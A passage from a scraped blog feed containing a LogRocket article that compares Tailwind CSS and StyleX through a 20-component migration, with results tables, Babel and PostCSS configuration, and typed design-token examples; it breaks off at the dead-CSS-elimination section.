    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/javascript/&quot;&gt;#javascript&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/</link><guid isPermaLink="false">https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/</guid><pubDate>Invalid Date</pubDate><author>Chinwike Maduabuchi</author></item><item><title>Tailwind CSS vs. StyleX: A real migration with 20 components</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#tailwindvsstylex-migration-results&quot;&gt;Tailwind vs. StyleX: The migration results&lt;/a&gt;
        &lt;ul data-toc-name=&quot;tailwindvsstylex-migration-results&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#why-sx-prop-changes-stylex-comparison&quot;&gt;Why the &lt;code&gt;sx={}&lt;/code&gt; prop changes the StyleX comparison&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-sx-prop-changes-stylex-comparison&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#migration-setup&quot;&gt;My migration setup&lt;/a&gt;
        &lt;ul data-toc-name=&quot;migration-setup&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#four-setup-decisions-before-writing-stylex-styles&quot;&gt;Four setup decisions before writing StyleX styles&lt;/a&gt;
        &lt;ul data-toc-name=&quot;four-setup-decisions-before-writing-stylex-styles&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#webpack-babel-instead-turbopack&quot;&gt;1. Webpack and Babel instead of Turbopack&lt;/a&gt;
        &lt;ul data-toc-name=&quot;webpack-babel-instead-turbopack&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#postcss-plugin-instead-deprecated-nextjs-plugin&quot;&gt;2. The PostCSS plugin instead of the deprecated Next.js plugin&lt;/a&gt;
        &lt;ul data-toc-name=&quot;postcss-plugin-instead-deprecated-nextjs-plugin&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#sx-prop-everywhere&quot;&gt;3. The &lt;code&gt;sx={}&lt;/code&gt; prop everywhere&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sx-prop-everywhere&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#css-layers-tailwind-stylex-coexistence&quot;&gt;4. CSS layers for Tailwind and StyleX coexistence&lt;/a&gt;
        &lt;ul data-toc-name=&quot;css-layers-tailwind-stylex-coexistence&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#where-stylex-won&quot;&gt;Where StyleX won&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-stylex-won&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#type-safe-design-tokens&quot;&gt;Type-safe design tokens&lt;/a&gt;
        &lt;ul data-toc-name=&quot;type-safe-design-tokens&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#dead-css-elimination&quot;&gt;Dead CSS elimination&lt;/a&gt;
        &lt;ul data-toc-name=&quot;dead-css-elimination&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#compile-time-constants-stylex-env&quot;&gt;Compile-time constants with &lt;code&gt;stylex.env&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;compile-time-constants-stylex-env&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#more-explicit-variant-styling&quot;&gt;More explicit variant styling&lt;/a&gt;
        &lt;ul data-toc-name=&quot;more-explicit-variant-styling&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#where-tailwind-still-wins&quot;&gt;Where Tailwind still wins&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-tailwind-still-wins&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#prototyping-speed&quot;&gt;Prototyping speed&lt;/a&gt;
        &lt;ul data-toc-name=&quot;prototyping-speed&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#ecosystem&quot;&gt;Ecosystem&lt;/a&gt;
        &lt;ul data-toc-name=&quot;ecosystem&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#learning-curve&quot;&gt;Learning curve&lt;/a&gt;
        &lt;ul data-toc-name=&quot;learning-curve&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#community-content&quot;&gt;Community content&lt;/a&gt;
        &lt;ul data-toc-name=&quot;community-content&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#migration-issues-i-hit&quot;&gt;Migration issues I hit&lt;/a&gt;
        &lt;ul data-toc-name=&quot;migration-issues-i-hit&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#barrel-exports-broke-token-resolution&quot;&gt;Barrel exports broke token resolution&lt;/a&gt;
        &lt;ul data-toc-name=&quot;barrel-exports-broke-token-resolution&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#raw-inline-keyframes-stylex-create&quot;&gt;Raw inline &lt;code&gt;@keyframes&lt;/code&gt; did not belong in &lt;code&gt;stylex.create()&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;raw-inline-keyframes-stylex-create&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#dynamic-style-keys-needed-explicit-maps&quot;&gt;Dynamic style keys needed explicit maps&lt;/a&gt;
        &lt;ul data-toc-name=&quot;dynamic-style-keys-needed-explicit-maps&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#falsy-values-sx-arrays&quot;&gt;Falsy values did not work in &lt;code&gt;sx&lt;/code&gt; arrays&lt;/a&gt;
        &lt;ul data-toc-name=&quot;falsy-values-sx-arrays&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#css-layer-ordering-strict&quot;&gt;CSS layer ordering was strict&lt;/a&gt;
        &lt;ul data-toc-name=&quot;css-layer-ordering-strict&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#real-numbers&quot;&gt;The real numbers&lt;/a&gt;
        &lt;ul data-toc-name=&quot;real-numbers&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#lines-of-code&quot;&gt;Lines of code&lt;/a&gt;
        &lt;ul data-toc-name=&quot;lines-of-code&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#css-bundle-size&quot;&gt;CSS bundle size&lt;/a&gt;
        &lt;ul data-toc-name=&quot;css-bundle-size&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#build-time&quot;&gt;Build time&lt;/a&gt;
        &lt;ul data-toc-name=&quot;build-time&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#where-each-tool-fits&quot;&gt;Where each tool fits&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-each-tool-fits&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#what-i-would-change-migration-plan-next-time&quot;&gt;What I would change in the migration plan next time&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-i-would-change-migration-plan-next-time&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/tailwind-css-vs-stylex-a-real-migration-with-20-components/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;I wanted a practical answer to a question that usually gets handled as a vibes-based framework debate: What actually changes when you migrate a real Tailwind component library to StyleX?&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;1536&quot; height=&quot;1024&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-5.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;Tailwind CSS vs. StyleX: A real migration with 20 components&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-5.png 1536w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-5-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-5-1024x683.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-5-768x512.png 768w&quot; sizes=&quot;(max-width: 1536px) 100vw, 1536px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;So I built 20 production-style components in Tailwind CSS, rewrote all 20 in StyleX using the newer &lt;code&gt;sx={}&lt;/code&gt; prop syntax, and tracked the parts that matter in a real migration: lines of code, CSS output, build time, configuration work, and the issues that slowed me down.&lt;/p&gt;
&lt;p&gt;The short version: StyleX doubled my styling code, produced almost the same CSS bundle size, built slightly faster in this test, and caught styling mistakes that Tailwind would have let through silently. Whether that trade-off is worth it depends on what you are building.&lt;/p&gt;
&lt;p&gt;If you maintain a design-system-backed component library, StyleX is worth a serious look. If you are building quickly with copy-paste components, Tailwind is still hard to beat.&lt;/p&gt;
&lt;h2 id=&quot;tailwindvsstylex-migration-results&quot;&gt;Tailwind vs. StyleX: The migration results&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;Before getting into the setup, here are the results from the migration:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Tailwind&lt;/th&gt;
&lt;th&gt;StyleX&lt;/th&gt;
&lt;th&gt;What changed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component LOC&lt;/td&gt;
&lt;td&gt;1,568&lt;/td&gt;
&lt;td&gt;3,143&lt;/td&gt;
&lt;td&gt;StyleX added 100.5 percent more code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSS output&lt;/td&gt;
&lt;td&gt;20,379 bytes&lt;/td&gt;
&lt;td&gt;20,561 bytes&lt;/td&gt;
&lt;td&gt;Nearly identical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Median cold build&lt;/td&gt;
&lt;td&gt;8.0s&lt;/td&gt;
&lt;td&gt;7.4s&lt;/td&gt;
&lt;td&gt;No meaningful difference in this test&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type safety&lt;/td&gt;
&lt;td&gt;Mostly string-based classes&lt;/td&gt;
&lt;td&gt;Typed style objects and tokens&lt;/td&gt;
&lt;td&gt;StyleX caught several migration mistakes earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ecosystem&lt;/td&gt;
&lt;td&gt;Large public ecosystem&lt;/td&gt;
&lt;td&gt;Smaller public ecosystem&lt;/td&gt;
&lt;td&gt;Tailwind has the clear ecosystem advantage&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;These numbers changed how I thought about the migration. StyleX did not win because it made the code smaller. It won in the places where static analysis matters: typed tokens, invalid variants, dead style elimination, and predictable composition.&lt;/p&gt;
&lt;p&gt;That is the real decision point. StyleX costs more code and more setup. In exchange, it gives you a stricter styling system for large, reusable component libraries.&lt;/p&gt;
&lt;h2 id=&quot;why-sx-prop-changes-stylex-comparison&quot;&gt;Why the &lt;code&gt;sx={}&lt;/code&gt; prop changes the StyleX comparison&lt;/h2&gt;
&lt;p&gt;StyleX has been Meta’s internal styling system for years and now powers large-scale products across Meta. It was open sourced at the end of 2023 and is designed around static CSS extraction, atomic CSS output, type-safe style authoring, and predictable style composition.&lt;/p&gt;
&lt;p&gt;For a long time, the biggest objection was developer experience. The old StyleX syntax looked like this:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;return (
  &amp;lt;button
    {...stylex.props(styles.base, styles[variant], styles[size])}
  &amp;gt;
    {children}
  &amp;lt;/button&amp;gt;
);
&lt;/pre&gt;
&lt;p&gt;That works, but it is not especially inviting. The spread syntax hides the styling mechanism, and compared with Tailwind’s &lt;code&gt;className=&quot;flex items-center&quot;&lt;/code&gt;, it feels heavier than it should.&lt;/p&gt;
&lt;p&gt;With the newer &lt;code&gt;sx={}&lt;/code&gt; prop syntax, the same component reads like this:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;return (
  &amp;lt;button sx={[styles.base, styles[variant], styles[size]]}&amp;gt;
    {children}
  &amp;lt;/button&amp;gt;
);
&lt;/pre&gt;
&lt;p&gt;The Babel plugin transforms &lt;code&gt;sx={}&lt;/code&gt; into the same kind of output as &lt;code&gt;stylex.props()&lt;/code&gt; at build time. The main difference is what you read and write every day. Instead of spreading a helper into every element, you pass styles through a prop that behaves like the rest of your React API.&lt;/p&gt;
&lt;p&gt;That change does not make StyleX as terse as Tailwind. But it closes enough of the syntax gap that the comparison becomes more interesting. Now the question is less “Which syntax is less annoying?” and more “Do I want string-based speed or compile-time styling guarantees?”&lt;/p&gt;
&lt;h2 id=&quot;migration-setup&quot;&gt;My migration setup&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;I built the original component library in Tailwind CSS inside a Next.js app with TypeScript, then migrated each component to StyleX. The components included buttons, badges, cards, modals, tabs, navbars, data tables, form inputs, toggles, alerts, skeletons, toasts, breadcrumbs, and layout primitives.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;The stack:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Version used&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Next.js&lt;/td&gt;
&lt;td&gt;16.2.9 with webpack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StyleX&lt;/td&gt;
&lt;td&gt;0.19.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tailwind CSS&lt;/td&gt;
&lt;td&gt;4.3.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;5.9.3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;Each component had at least two visual variants, responsive behavior, and interactive states. I tracked four things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lines of code&lt;/li&gt;
&lt;li&gt;CSS output size&lt;/li&gt;
&lt;li&gt;Cold build time&lt;/li&gt;
&lt;li&gt;Migration issues by component&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was not a synthetic benchmark of one button. It was also not a massive enterprise design system. It sat in the middle: enough components to expose real migration friction, but small enough to inspect every difference by hand.&lt;/p&gt;
&lt;h2 id=&quot;four-setup-decisions-before-writing-stylex-styles&quot;&gt;Four setup decisions before writing StyleX styles&lt;/h2&gt;
&lt;p&gt;Getting Tailwind and StyleX to coexist took a few decisions before the component work started. These are worth calling out because they affect the migration experience as much as the component syntax does.&lt;/p&gt;
&lt;h3 id=&quot;webpack-babel-instead-turbopack&quot;&gt;1. Webpack and Babel instead of Turbopack&lt;/h3&gt;
&lt;p&gt;This setup used webpack with the StyleX Babel plugin. In my project, adding a custom &lt;code&gt;babel.config.js&lt;/code&gt; meant opting into Babel for the relevant transforms. That also meant accepting the trade-offs of that setup, including losing access to some Next.js compiler-specific features I would normally reach for.&lt;/p&gt;
&lt;p&gt;For this migration, I used system font stacks instead of &lt;code&gt;next/font&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;postcss-plugin-instead-deprecated-nextjs-plugin&quot;&gt;2. The PostCSS plugin instead of the deprecated Next.js plugin&lt;/h3&gt;
&lt;p&gt;I used &lt;code&gt;@stylexjs/postcss-plugin&lt;/code&gt; with &lt;code&gt;@stylexjs/babel-plugin&lt;/code&gt; rather than &lt;code&gt;@stylexjs/nextjs-plugin&lt;/code&gt;. The Next.js-specific StyleX plugin is deprecated, so the PostCSS/Babel setup is the safer path for a new migration.&lt;/p&gt;

&lt;h3 id=&quot;sx-prop-everywhere&quot;&gt;3. The &lt;code&gt;sx={}&lt;/code&gt; prop everywhere&lt;/h3&gt;
&lt;p&gt;I used &lt;code&gt;sx={}&lt;/code&gt; throughout the migration rather than the older &lt;code&gt;{...stylex.props()}&lt;/code&gt; syntax. To make TypeScript recognize the prop, I added a &lt;code&gt;src/types/stylex.d.ts&lt;/code&gt; file that patches &lt;code&gt;HTMLAttributes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That gave me a consistent authoring style without needing a JSX pragma, &lt;code&gt;jsxImportSource&lt;/code&gt;, or a React 19-specific setup.&lt;/p&gt;
&lt;h3 id=&quot;css-layers-tailwind-stylex-coexistence&quot;&gt;4. CSS layers for Tailwind and StyleX coexistence&lt;/h3&gt;
&lt;p&gt;Both Tailwind and StyleX emit CSS, so I used CSS layers to make the ordering explicit. Setting &lt;code&gt;useCSSLayers: true&lt;/code&gt; in the StyleX PostCSS config wraps StyleX output in named &lt;code&gt;@layer&lt;/code&gt; blocks.&lt;/p&gt;
&lt;p&gt;That let both systems live in &lt;code&gt;globals.css&lt;/code&gt; without accidental specificity conflicts.&lt;/p&gt;
&lt;p&gt;Here is the Babel config:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const path = require(&#39;path&#39;);
const dev = process.env.NODE_ENV !== &#39;production&#39;;

module.exports = {
  presets: [&#39;next/babel&#39;],
  plugins: [
    [
      &#39;@stylexjs/babel-plugin&#39;,
      {
        dev,
        runtimeInjection: false,
        treeshakeCompensation: true,
        aliases: { &#39;@/*&#39;: [path.join(__dirname, &#39;src/*&#39;)] },
        unstable_moduleResolution: { type: &#39;commonJS&#39;, rootDir: __dirname },
      },
    ],
  ],
};
&lt;/pre&gt;
&lt;p&gt;And the PostCSS config:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const babelConfig = require(&#39;./babel.config&#39;);

module.exports = {
  plugins: {
    &#39;@stylexjs/postcss-plugin&#39;: {
      include: [&#39;src/**/*.{js,jsx,ts,tsx}&#39;],
      babelConfig: {
        babelrc: false,
        configFile: false,
        parserOpts: { plugins: [&#39;typescript&#39;, &#39;jsx&#39;] },
        plugins: babelConfig.plugins,
      },
      useCSSLayers: true,
    },
    autoprefixer: {},
  },
};
&lt;/pre&gt;
&lt;p&gt;Once these decisions were locked, the rest of the work became a component-by-component conversion.&lt;/p&gt;
&lt;h2 id=&quot;where-stylex-won&quot;&gt;Where StyleX won&lt;/h2&gt;
&lt;p&gt;StyleX did not win on terseness. It won where the styling layer needed to behave more like typed application code.&lt;/p&gt;
&lt;h3 id=&quot;type-safe-design-tokens&quot;&gt;Type-safe design tokens&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;stylex.defineVars()&lt;/code&gt; gives you typed design tokens with IDE autocomplete. If you misspell a token, TypeScript catches it before the component renders.&lt;/p&gt;
&lt;p&gt;In my migration, I created a &lt;code&gt;src/tokens/&lt;/code&gt; directory with separate token files:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;// colors.stylex.ts
import * as stylex from &#39;@stylexjs/stylex&#39;;

export const colors = stylex.defineVars({
  primary: &#39;#2563eb&#39;,
  primaryHover: &#39;#1d4ed8&#39;,
  textDefault: &#39;#111827&#39;,
  textMuted: &#39;#6b7280&#39;,
  borderDefault: &#39;#e5e7eb&#39;,
  // 40+ more tokens
});
&lt;/pre&gt;
&lt;p&gt;The payoff shows up immediately in components. If I write &lt;code&gt;backgroundColor: colors.primaryy&lt;/code&gt;, TypeScript rejects it. In Tailwind, a class like &lt;code&gt;bg-blue-60&lt;/code&gt; can compile and fail silently in the UI.&lt;/p&gt;
&lt;p&gt;Self-referencing variables also reduce token duplication. For example, you can derive a muted text color from a base text color with &lt;code&gt;color-mix()&lt;/code&gt;, so one token update can cascade through related values.&lt;/p&gt;

&lt;h3 id=&quot;dead-css-elimination&quot;&gt;Dead CSS elimination&lt;/h3&gt;
